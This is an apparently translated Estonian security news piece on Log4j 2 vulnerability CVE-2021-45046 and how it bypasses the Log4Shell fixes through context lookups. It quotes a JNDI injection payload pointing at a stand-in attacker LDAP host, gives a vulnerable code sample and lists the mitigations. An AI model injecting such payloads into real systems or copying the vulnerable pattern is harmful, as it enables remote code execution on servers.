Log4j 2 teostatavad JNDI asendamiseks on avastatud veel ĂŒks haavatavus (CVE-2021-45046), mis avaldub vaatamata 2.15 vĂ€ljaandes tehtud parandustele ja olenemata seadistuse "log4j2.noFormatMsgLookup" kasutamisest turvamiseks. Probleem kujutab endast ohtu peamiselt vanadele Log4j 2 versioonidele, mis on kaitstud lippude "noFormatMsgLookup" abil, kuna see vĂ”imaldab ĂŒletada kaitset varasema haavatavuse (Log4Shell, CVE-2021-44228) vastu, mis vĂ”imaldab tĂ€ita oma koodi serveris. Versiooni 2.15 kasutajatel on ekspluateerimine piiratud olekute loomiseks, mis toob kaasa rakenduse Ă€kilise sulgemise tĂ”ttu saadaval olevate ressursside ammendumise.
Haavatavus avaldub ainult sĂŒsteemides, kus logimise ajal kasutatakse kontekstipĂ€ringuid (Context Lookup), nagu ${ctx:loginId}, vĂ”i MDC-malle (Thread Context Map), nĂ€iteks %X, %mdc ja %MDC. Expluateerimine on kĂ€rbitud tingimuste loomiseks, et logis vĂ€lja anda andmeid, mis sisaldavad JNDI asendusi, kasutades rakenduses kontekstipĂ€ringute vĂ”i MDC-mallide mÀÀratlemise reegleid logivĂ€ljundi vormindamiseks.
LunaSeci uurijad on mĂ€rkinud, et Log4j versioonide puhul, mis on madalamad kui 2.15, vĂ”ib seda haavatavust kasutada uue Log4Shell rĂŒnnaku vektorina, mis viib koodi tĂ€itmisele, kui logides kasutatakse ThreadContext'i vĂ€ljendeid, kuhu sattuvad vĂ€lised andmed, sĂ”ltumata ânoMsgFormatLookupsâ kaitselipu vĂ”i â%m{nolookups}â malliga seadistamisest.

Kaitse ring on selles, et selle asemel, et sĂŒstida otse "${jndi:ldap://attacker.com/a}", sĂŒstitakse see muudatuse kaudu vahevariandina, mida kasutatakse logi vormindamise reeglite ajal. NĂ€iteks, kui logis kasutatakse konteksti pĂ€ringut ${ctx:apiversion}, vĂ”ib rĂŒnnak toimuda andmete "${jndi:ldap://attacker.com/a}" sĂŒstimise kaudu vÀÀrtusse, mille salvestatakse apiversioni muutujasse. NĂ€ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} â %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L â %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP pĂ€ise âX-Api-Versionâ vÀÀrtus edastatakse ThreadContextâi ThreadContext.put("apiversion", apiVersion); // Logimisel töödeldakse vĂ€liseid apiversioni vÀÀrtusi sĂŒstimise kaudu ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
Log4j versioonis 2.15 saab haavatavust kasutada DoS-rĂŒnnakute tegemiseks, edastades ThreadContextâi vÀÀrtusi, mis pĂ”hjustavad vormindamise ĆĄablooni töötlemise lĂ”pmatuse.

Turvalisuse tÔstmiseks on vÀlja antud uuendused versioonides 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP-pÀringute seotusele 'localhost' vaikimisi tÀielikult keelatud JNDI funktsioon ning eemaldatud on sÔnumite kohandamise malle tugi. Kaitse alternatiivina on soovitatav eemaldada JndiLookup klass classpath'ist (nÀiteks 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Pakkide vĂ€rskenduste jĂ€lgimiseks saab kĂŒlastada distributsioonide lehte (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate lehti (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).
Allikas: opennet.ru
